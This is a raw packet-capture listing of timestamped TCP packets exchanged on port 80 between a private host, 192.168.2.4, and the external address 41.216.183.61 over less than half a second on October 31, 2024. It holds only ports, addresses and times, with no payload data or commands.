Oct 31, 2024 03:04:13.078069925 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.078083992 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.078146935 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.078147888 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.078147888 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.121490002 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.121503115 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.121515036 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.121526957 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.121584892 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.121632099 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.121639967 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.121644974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.121658087 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.121671915 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.121692896 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.121797085 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.121808052 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.121846914 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.152309895 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.152322054 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.152379990 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.152482033 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.152494907 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.152499914 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.152506113 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.152563095 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.152658939 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.152671099 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.152714014 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.152966022 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.152977943 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153036118 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.153141975 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153153896 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153189898 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.153213978 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.153223991 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153237104 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153249025 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153259993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153270960 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153278112 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.153297901 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.153330088 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.153628111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153676987 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.153781891 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153794050 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153805017 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153819084 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153830051 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153840065 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.153841019 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153853893 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.153872967 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.153872967 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.153908014 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.154225111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.154274940 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.154387951 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.154400110 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.154411077 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.154442072 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.154475927 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.154524088 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.154580116 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.162601948 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.162614107 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.162625074 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.162662029 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.162693024 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.163489103 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163535118 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.163568974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163582087 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163592100 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163609028 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163621902 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163626909 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.163635015 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163649082 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163654089 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.163674116 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.163692951 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163691998 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.163706064 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163722038 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163733959 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.163733959 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.163753986 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.163800955 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.164010048 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.164022923 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.164031029 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.164064884 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.164098024 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.194869995 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.194883108 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.194892883 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.194941044 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.194977045 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.237550974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.237564087 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.237574100 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.237612963 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.237626076 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.237721920 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.237721920 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.237723112 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270149946 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270168066 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270179987 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270190954 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270203114 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270215034 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270219088 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270230055 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270241976 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270246983 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270255089 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270266056 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270271063 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270277977 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270288944 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270289898 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270304918 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270312071 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270354033 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270354986 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270503044 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270514965 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270560980 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270663023 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270674944 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270684004 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270695925 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270709038 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270719051 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270751953 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270751953 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.270970106 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270982027 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.270992041 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271003962 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271020889 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.271073103 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.271074057 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.271476984 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271486998 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271497965 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271508932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271529913 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.271562099 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.271640062 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271692038 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.271802902 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271816969 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271835089 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271846056 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.271861076 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.271893978 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.271894932 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.279838085 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.279850960 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.279860973 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.279901028 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.279934883 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.280240059 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280252934 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280263901 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280296087 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.280328989 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.280333996 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280369043 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280380011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280385017 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.280421972 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.280421972 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.280517101 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280530930 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280571938 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.280606031 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280618906 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280630112 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280659914 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.280693054 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.280931950 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280944109 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280962944 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280973911 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280986071 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.280985117 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.281023979 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.281023979 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.281286955 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.281306982 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.281317949 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.281337976 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.281368971 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.316509962 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.316521883 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.316533089 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.316544056 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.316622019 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.316651106 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.355216026 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.355226994 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.355236053 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.355247021 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.355262995 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.355276108 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.355293036 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.355350971 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.388223886 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.388293028 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.388359070 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.388370037 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.388417006 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.388518095 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.388530016 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.388544083 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.388560057 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.388572931 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.388617992 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.388670921 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.388845921 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.388890028 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.389010906 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389022112 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389033079 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389044046 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389065981 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.389100075 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.389354944 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389365911 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389377117 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389388084 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389400005 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389409065 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.389411926 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389425993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389426947 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.389447927 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.389472961 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.389489889 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389540911 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.389839888 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389849901 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.389899969 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.389992952 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390007019 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390017033 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390043974 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.390077114 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.390477896 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390489101 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390505075 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390515089 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390526056 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390533924 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.390537977 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390551090 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390562057 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.390562057 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.390590906 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.390604019 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.390661001 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.399481058 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.399492979 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.399502993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.399550915 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.399580002 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.400405884 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.400485039 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.400531054 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.400542974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.400688887 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.400688887 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.400698900 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.400711060 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.400722980 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.400733948 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.400744915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.400752068 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.400770903 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.400800943 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.400851011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.400966883 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.401047945 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401060104 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401072979 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401087046 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401103973 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.401139021 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.401139021 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.401357889 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401371002 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401382923 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401405096 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.401439905 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.401439905 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.401546001 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401556969 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401567936 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401580095 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401593924 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.401632071 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.401632071 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.401704073 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.401747942 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.428445101 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.428464890 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.428524017 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.428524017 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.428567886 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.428580046 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.428631067 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.428631067 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.471075058 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.471086025 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.471131086 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.471218109 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.471230030 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.471240044 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.471288919 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.471292019 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.471292019 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.471348047 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.501863003 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.501894951 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.501924038 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.501929045 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.501949072 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.501981974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502019882 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502032995 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502042055 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502068043 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502096891 CET	80	63780	41.216.183.61	192.168.2.4
